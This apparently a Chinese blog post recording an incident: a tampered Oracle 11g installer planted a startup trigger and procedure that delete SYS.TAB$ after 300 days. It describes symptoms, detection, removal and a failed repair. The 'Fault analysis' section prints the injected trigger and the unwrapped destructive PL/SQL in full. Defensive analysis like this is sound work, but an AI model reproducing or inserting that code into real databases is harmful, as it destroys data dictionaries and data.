1. 故障现象

客户在进行灾备演练时,发现通过快照复制过来的数据库无法正常启动,报ORA-00600和16730的错误:

ORA-01092: ORACLE instance terminated. Disconnection forced
ORA-00704: bootstrap process failure
ORA-00704: bootstrap process failure
ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],
[], [], [], [], [], []
Process ID: 29255
Session ID: 191 Serial number: 3

2. 故障分析

根据网上找到的资料,判断是数据库安装介质中被植入的恶意代码(勒索病毒的变种)在数据库运行了300天之后删除了sys.tab$表导致。以下是恶意代码的特征:
1)查看数据库软件的文件prvtsupp.plb,在程序包dbms_support的主体中可以看到多了以下内容:

cat $ORACLE_HOME/rdbms/admin/prvtsupp.plb
...
create or replace procedure DBMS_SUPPORT_DBMONITORP wrapped
a000000
369
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
166 17d
L+Q5S7kOFTBh3pJuFhl03zpaj2EwgzKur9zWZ47SR+pHN0Y8ER0IGya9iryn8BXxVZV99MqT
jPeDOVN1pQjRL9BBh4vtWEKCY/FfMGPnetcyOwrCiZd3y4XmBCby580I22k2zARou4x8Mwl7
GOEcpi6u23Rf2JOnTfA/PYL+pz7A1gvabRQrczX6dnK8HaHsERgX7VdwA3EsM784UwL6ESro
H+CNqON6SdF2HTUFBcmgBBPE/+blRgHQryEpxT3JOnEs1a8gUbjaLq+Xq9Eu9n/kdIwA+9ep
r59hpFLw/vnP7Cjaxk7WbJ6/XGj9F6DH+3MBxpFBmba1tk0pYAW1McQsYXNFbiSdxj1KnrmD
lUETCD2WIxfg3w==
/PROMPT Create DBMS_SUPPORT_DBMONITOR TRIGGER
create or replace trigger DBMS_SUPPORT_DBMONITOR
after startup on database
declare
begin DBMS_SUPPORT_DBMONITORP;
end;
/

unwrap多出的内容显示,恶意代码创建了一个存储过程DBMS_SUPPORT_DBMONITORP和触发器DBMS_SUPPORT_DBMONITOR,数据库在运行了300天以后在下一次实例重启时触发器会删除SYS.TAB$表,导致数据库无法启动。

PROCEDURE DBMS_SUPPORT_DBMONITORP IS
DATE1 INT :=10;
BEGIN SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;IF (DATE1>=300) THEN EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system  as select * from sys.tab$';DELETE SYS.TAB$;COMMIT;EXECUTE IMMEDIATE 'alter system checkpoint';END IF;
END;

2)在还未重启的主库上可以看到恶意代码创建的存储过程和触发器,查看程序包的内容,和上面文件中显示的相同。

SQL> select owner, object_name, OBJECT_TYPE, status, to_char(created,'yyyy-mm-dd hh24:mi:ss') created from dba_objects2    where object_name like 'DBMS_STANDARD_FUN9 %'3  union all4  select owner, object_name, OBJECT_TYPE, status, to_char(created,'yyyy-mm-dd hh24:mi:ss') created from dba_objects5    where object_name like 'DBMS_CORE_INTERNAL %'6  union all7  select owner, object_name, OBJECT_TYPE, status, to_char(created,'yyyy-mm-dd hh24:mi:ss') created from dba_objects8    where object_name like 'DBMS_SYSTEM_INTERNAL %'9  union all10  select owner, object_name, OBJECT_TYPE, status, to_char(created,'yyyy-mm-dd hh24:mi:ss') created from dba_objects11    where object_name like 'DBMS_SUPPORT_INTERNAL %'12  union all13  select owner, object_name, OBJECT_TYPE, status, to_char(created,'yyyy-mm-dd hh24:mi:ss') created from dba_objects14  where object_name like 'DBMS_SUPPORT%';

3)检查被植入恶意代码的数据库11g安装软件包的SHA1值,与官方下载的安装包不一致:

官方下载的安装包的SHA1值:

3. 故障处理过程

3.1. 备机恢复

由于主库运行300天后还没进行重启,没有触发恶意代码删除sys.tab$表。于是,对主库重新生成新的快照,使用新的快照来复制主库到备机。

1)在备机上启动数据库到挂载模式
SQL> startup mount;

2)在备机上禁用触发器,以避免打开数据库时触发恶意代码执行:
SQL> alter system set “_system_trig_enabled”=false scope=both;

3)在备机上打开数据库
SQL> alter database open

4)在备机上删除恶意代码创建的触发器和存储过程,删除程序包DBMS_SUPPORT
SQL> drop TRIGGER SYS.DBMS_SUPPORT_DBMONITOR;
SQL> drop PROCEDURE SYS.DBMS_SUPPORT_DBMONITORP;
SQL> drop PACKAGE DBMS_SUPPORT;

5)在备机上编辑$ORACLE_HOME/rdbms/admin/prvtsupp.plb文件,清除程序包dbms_support主体中以上列出的中比正常文件多出的恶意代码,或者直接清空文件。

6)在备机上启用触发器:
SQL> alter system set “_system_trig_enabled”=true scope=both;

3.2. 主机修复

执行3.1中的第4和第5步骤,清除主库中的恶意代码。

3.3. 尝试进行sys.tab$表修复

找了一个数据库专家使用bbed脚本(请参考https://blog.csdn.net/linsenaa/article/details/121094839)对已经删除了表sys.tab$的数据库进行数据文件扫描修复测试,成功修复后可以正常打开数据库,但对数据文件进行验证时,文件1有大量的逻辑损坏报错,如下所示:

RMAN> BACKUP VALIDATE CHECK LOGICAL DATABASE;
Error backing up file 1, block 145: logical corruption
Error backing up file 1, block 146: logical corruption
Error backing up file 1, block 147: logical corruption
...
Error backing up file 1, block 94699: logical corruption
Error backing up file 1, block 99995: logical corruption
Error backing up file 1, block 99996: logical corruption=================
File Status Marked Corrupt Empty Blocks Blocks Examined High SCN
---- ------ -------------- ------------ --------------- ----------
1    FAILED 0              13436        90883           1013574   File Name: /u01/app/oracle/oradata/ORCL11G/datafile/o1_mf_system_kmfp8vnk_.dbfBlock Type Blocks Failing Blocks Processed---------- -------------- ----------------Data       564            56696           Index      0              11682           Other      0              9066            validate found one or more corrupt blocks
See trace file /u01/app/oracle/diag/rdbms/orcl11g/orcl11g/trace/orcl11g_ora_4766.trc for details

再次删除sys.tab$表时,数据库会报以下错误,不能删除该表,有可能是恢复的表结构不正常,导致无法对其进行删除:

SQL> delete sys.tab$;
delete sys.tab$*
ERROR at line 1:
ORA-00600: internal error code, arguments: [kdBlkCheckError], [1], [145],
[6110], [], [], [], [], [], [], [], []

然而,在打开数据库后始终无法导出用户数据,报以下错误:

Export: Release 11.2.0.4.0 - Production on Mon Oct 10 00:38:51 2022Copyright (c) 1982, 2011, Oracle and/or its affiliates.  All rights reserved.Connected to: Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
ORA-31626: job does not exist
ORA-31633: unable to create master table "SYSTEM.SYS_EXPORT_SCHEMA_05"
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 95
ORA-06512: at "SYS.KUPV$FT", line 1038
ORA-01578: ORACLE data block corrupted (file # 1, block # 82296)
ORA-01110: data file 1: '/u01/app/oracle/oradata/ORCL11G/datafile/o1_mf_system_kmfp8vnk_.dbf'

因此,当sys.tab$表被删除时可能只能依赖于备份进行恢复,用bbed来进行恢复可能行得通但会非常复杂,恢复不完整将无法导出数据。

Oracle恶意代码(300天删除SYS.TAB$表)清除过程记录相关推荐

  1. mysql 删除另一个表中的_mysql – 在一个查询SQL中删除两个表中的记录

    我有两张桌子 EMPGROUP_TBL SEQID | MASTERID | BUSINESS_UNIT | DIVISION | SUB_DIVISION | CLASSIFICATION | SU ...

  2. SqlServer--用代码创建和删除数据库和表

    创建数据库,创建表,设置主键 数据库的分离和附加 MS SQLServer的每个数据库包含: 1个主数据文件(.mdf)必须. 1个事务日志文件(.ldf)必须. 可以包含: 任意多个次要数据文件(. ...

  3. Oracle查询重复数据并删除,只保留一条记录

    1.查找表中多余的重复记录,重复记录是根据单个字段(Id)来判断 select * from 表 where Id in (select Id from 表 group byId having cou ...

  4. Oracle用rowid删除同一张表的重复记录

    经常有这样一个业务场景,我们在同一张表中有重复的记录,我们要删除重复的记录,这篇文章就是用来解决这个问题的,用的方法是我目前遇到的效率最高的方法(如果有更好的方法欢迎网友提供).这个方法会用到了row ...

  5. oracle 保留一个记录吗,笔记:Oracle查询重复数据并删除,只保留一条记录

    1.查找表中多余的重复记录,重复记录是根据单个字段(Id)来判断 select * from 表 where Id in (select Id from 表 group byId having cou ...

  6. oracle查询重复保留一条-删除,Oracle查询重复数据并删除,只保留一条记录

    前言 项目中,在"资源目录-在线编目"中,资源项子表存在多条重发数据,需要进行数据清理,删除重发的数据,最终只保留一条相同的数据. 操作的表名:R_RESOURCE_DETAILS ...

  7. 删除千万级表中重复记录的办法

    1.   选择候选键,60个字段,应该只用其中几个就可以判断重复了吧.     在候选键的这些字段上建立索引.              CREATE   TRIGGER   tr_历史交易表     ...

  8. linux服务器上网页变形,Linux服务器上用iScanner删除网页恶意代码的方法

    第一步:安装 首先要确保服务器上已经安装了Ruby 复制代码代码如下: #ruby -v //查看ruby的版本信息 如果服务器上没有安装,可以通过yum或者apt-get安装ruby(根据自己服务器 ...

  9. 网站被黑后处理方法及删除批量恶意代码的方法步骤

    网站被黑后处理方法及删除批量恶意代码的方法步骤 如果发现网站出现异常情况,如页面被修改.管理账号不能登录,则说明网站已经被入侵.这时就需要尽快进行处理,以防止黑客种植的网页病毒扩散. 暂时关闭网站 网 ...

最新文章

  1. LeetCode Intersection of Two Arrays
  2. mxnet基础到提高(44)-ndarray.arange创建行向量
  3. IIS连接数、IIS并发连接数、IIS最大并发工作线程数、应用程序池的队列长度、应用程序池的...
  4. http通信协议的基本原理
  5. 武汉游记,三件新鲜奇葩事
  6. 关于HTML使用ComDlg ActiveX 无法弹出相应对话框的问题1
  7. python的常量和变量_python变量和常量
  8. Android之封装倒计时页面
  9. IAR astyle代码美化
  10. 天池发起全球城市计算AI挑战赛-总奖池30万人民币
  11. iPhone位置跟踪器 For Windows版
  12. linux鸟叔的私房菜txt,鸟哥的Linux私房菜(pdf+epub+mobi+txt+azw3)
  13. 完全支持双层PDF 开源的PDF分离与合并软件 C 版本 转自codeproject
  14. 今晚直播丨易鲸捷HTAP融合型分布式数据库问题诊断介绍
  15. python——【1】gzip压缩文件
  16. Redis-keys命令
  17. 三种设计满足需求 网吧网络解决方案(转)
  18. html图片点击左右滑动效果,基于jquery实现点击左右按钮图片横向滚动
  19. 使用fiddler进行发包
  20. 《网络攻防》 MSF基础应用

热门文章

  1. 文本主题分类(TFIDF-朴素贝叶斯分类)
  2. Google Play 开发者播客节目 | 中文专辑 出海同学会 上线!
  3. 在Ubuntu\Centos等Linux环境安装支付宝控件
  4. 淘系技术-DDD-应用架构
  5. www.cndigg.com中国掘客 又完成了几个新功能
  6. timo tolkki--- 柔情重金属!
  7. mac plt显示中文解决方法
  8. Spring的三级缓存解决循环依赖
  9. 逐渐流行的B2C体系
  10. 用spectralayers 简单去一下人声做个伴奏